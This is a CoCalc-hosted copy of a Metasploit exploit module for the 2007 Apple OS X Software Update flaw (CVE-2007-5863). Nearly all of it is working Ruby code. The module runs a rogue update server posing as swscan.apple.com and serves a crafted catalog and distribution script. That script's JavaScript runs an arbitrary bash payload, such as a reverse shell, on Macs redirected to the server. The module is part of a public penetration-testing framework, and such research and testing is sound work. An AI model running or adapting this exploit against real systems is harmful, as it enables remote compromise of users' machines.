Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/software_update.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Apple OS X Software Update Command Execution',
16
'Description' => %q{
17
This module exploits a feature in the Distribution Packages,
18
which are used in the Apple Software Update mechanism. This feature
19
allows for arbitrary command execution through JavaScript. This exploit
20
provides the malicious update server. Requests must be redirected to
21
this server by other means for this exploit to work.
22
},
23
'Author' => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
['CVE', '2007-5863'],
27
['OSVDB', '40722'],
28
],
29
'Payload' => {
30
'BadChars' => "\x00",
31
'DisableNops' => true,
32
'Compat' =>
33
{
34
'PayloadType' => 'cmd cmd_bash',
35
'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',
36
}
37
},
38
'Platform' => 'osx',
39
'Targets' => [
40
[
41
'Automatic',
42
{
43
'Platform' => [ 'unix' ],
44
'Arch' => ARCH_CMD,
45
},
46
],
47
],
48
'DisclosureDate' => '2007-12-17',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
61
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
62
]
63
)
64
end
65
66
# Encode some characters using character entity references and escape any
67
# quotation characters, by splitting the string into multiple parts.
68
def encode_payload(payload)
69
encoded = payload.gsub(/[&<>"']/) do |s|
70
case s
71
when '&'
72
"&amp;"
73
when '<'
74
"&lt;"
75
when '>'
76
"&gt;"
77
when '"'
78
'"+\'"\'+"'
79
when '\''
80
"&apos;"
81
end
82
end
83
return '"' + encoded + '"'
84
end
85
86
# Generate the initial catalog file with references to the
87
# distribution script, which does the actual exploitation.
88
def generate_catalog(server)
89
languages = [
90
"", "Dutsch", "English", "French", "German", "Italian", "Japanese",
91
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW"
92
]
93
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
94
distfile = rand_text_alpha(8) + ".dist"
95
96
sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
97
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
98
sucatalog << '<plist version="1.0">'
99
sucatalog << '<dict>'
100
sucatalog << '<key>Products</key><dict>'
101
sucatalog << "<key>#{productkey}</key><dict>"
102
sucatalog << '<key>Distributions</key><dict>'
103
104
languages.each do |l|
105
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
106
end
107
108
sucatalog << '</dict></dict></dict></dict></plist>'
109
110
return sucatalog
111
end
112
113
# Generate distribution script, which calls our payload using JavaScript.
114
def generate_dist(payload)
115
func = rand_text_alpha(8)
116
117
dist = '<?xml version="1.0" encoding="UTF-8"?>'
118
dist << "<installer-gui-script minSpecVersion='1'>"
119
dist << '<options allow-external-scripts = "yes"/>'
120
dist << "<choices-outline ui='SoftwareUpdate'>"
121
dist << "<line choice='su'/>"
122
dist << "</choices-outline>"
123
dist << "<choice id='su' visible ='#{func}()'/>"
124
dist << "<script>"
125
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
126
dist << "</script>"
127
dist << "</installer-gui-script>"
128
129
return dist
130
end
131
132
def on_request_uri(cli, request)
133
date = Time.now
134
server = "swscan.apple.com"
135
136
header = {
137
'Content-Type' => 'text/plain',
138
'Last-Modified' => date,
139
'Date' => date,
140
}
141
142
if request.uri =~ /\.sucatalog$/
143
print_status("Sending initial distribution package")
144
body = generate_catalog(server)
145
elsif request.uri =~ /\.dist$/
146
print_status("Sending distribution script")
147
return if ((p = regenerate_payload(cli)) == nil)
148
149
body = generate_dist(p.encoded)
150
else
151
return
152
end
153
send_response(cli, body, header)
154
handler(cli)
155
end
156
end
157
158